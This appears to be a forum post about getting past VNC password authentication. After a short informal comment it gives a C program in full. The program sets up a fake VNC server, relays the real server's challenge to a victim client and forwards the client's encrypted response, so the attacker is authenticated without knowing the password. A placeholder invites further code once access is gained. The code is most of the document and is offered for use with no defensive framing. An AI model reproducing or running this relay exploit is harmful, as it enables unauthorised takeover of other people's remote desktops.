There are many vnc supposed password breakers,
never found a one that works, suppose wouldve heard about one by now.

However there is a trick method where you can run a “proxy” like program where you trick the vnc client to connecto to the server via another ip (yours) and you forward the traffic to the correct server, stealing the password in the process

again i have neever got this working and i think there is a old post somewhere ; ill try and dig it out for you.

By using the below exploit code it is possible to use a VNC server without knowing its password by causing a client to authenticate through the attacking host, while the attacker redirects it to the server.

Exploit:
#include
#include
#include
#include

#define VNCPORT 5900
#define VNCSERVER “x.x.x.x”
#define QUEUE 8
#define BUFSIZ 512

typedef char rfbProtocolVersionMsg[13];
#define sz_rfbProtocolVersionMsg 12

int main (int argc, char **argv) {

int sockfd, clientfd, vncfd;
int nbytes = 0;
struct sockaddr_in server, client, vnc;
int len = sizeof (client);
char buf [BUFSIZ];

if ( (sockfd = socket (AF_INET, SOCK_STREAM, 0) ) == -1) {
perror (“socket”);
exit (-1);
}

bzero (&server, sizeof (server) );
server.sin_family = AF_INET;
server.sin_addr.s_addr = htonl (INADDR_ANY);
server.sin_port = htons (VNCPORT);

/* this is the fake VNC server */
if (bind (sockfd, (struct sockaddr *) &server,
sizeof (server) ) == -1) {
perror (“bind”);
exit (-1);
}

listen (sockfd, QUEUE);

if ( (clientfd = accept (sockfd,
(struct sockaddr *) &client, &len) ) == -1) {
perror (“accept”);
exit (-1);
}

strcpy (buf, “RFB 003.003\n”);

/* we must send VNC version number (from protocol) */
if (write (clientfd, buf, strlen (buf) ) < strlen (buf) ) {
perror (“write”);
exit (-1);
}

/* we also must read VNC version number (from protocol) */
if ( (nbytes = read (clientfd, buf, BUFSIZ) ) <= 0) {
perror (“read”);
exit (-1);
}

buf [nbytes] = 0;
printf (“version -> %s\n”, buf);

buf [0] = 0x00;
buf [1] = 0x00;
buf [2] = 0x00;
buf [3] = 0x02;

/* we send the authentication method code to the client */
if (write (clientfd, buf, 4) < 4) {
perror (“write”);
exit (-1);
}

if ( (vncfd = socket (AF_INET, SOCK_STREAM, 0) ) == -1) {
perror (“socket”);
exit (-1);
}

bzero (&vnc, sizeof (vnc) );
vnc.sin_family = AF_INET;
vnc.sin_addr.s_addr = inet_addr (VNCSERVER);
vnc.sin_port = htons (VNCPORT);

/* we connect to the real VNC server */
if (connect (vncfd, (struct sockaddr *) &vnc,
sizeof (vnc) ) == -1) {
perror (“connect”);
exit (-1);
}

/* again, we read version number from the VNC server */
if ( (nbytes = read (vncfd, buf, BUFSIZ) ) <= 0) {
perror (“read”);
exit (-1);
}

strcpy (buf, “RFB 003.003\n”);

/* and we send ours */
if (write (vncfd, buf, strlen (buf) ) < strlen (buf) ) {
perror (“write”);
exit (-1);
}

/* we now read authenticarion method code from VNC server */
if ( (nbytes = read (vncfd, buf, BUFSIZ) ) <= 0) {
perror (“read”);
exit (-1);
}

/* here is the challenge from server */
if ( (nbytes = read (vncfd, buf, BUFSIZ) ) <= 0) {
perror (“read”);
exit (-1);
}

/* we send the challenge to the victim client */
if (write (clientfd, buf, 16) < 16) {
perror (“write”);
exit (-1);
}

/* we have the encrypted password from the client */
if ( (nbytes = read (clientfd, buf, BUFSIZ) ) <= 0) {
perror (“read”);
exit (-1);
}

/* we send the encrypted password to the VNC server */
if (write (vncfd, buf, 16) < 16) {
perror (“write”);
exit (-1);
}

/* we read the result from the authentication process */
if (read (vncfd, buf, BUFSIZ) < 4) {
perror (“read”);
exit (-1);
}

/* at this point we should be authenticated */
/* place whatever code you want here */

close (clientfd);
close (sockfd);
close (vncfd);

return 0;
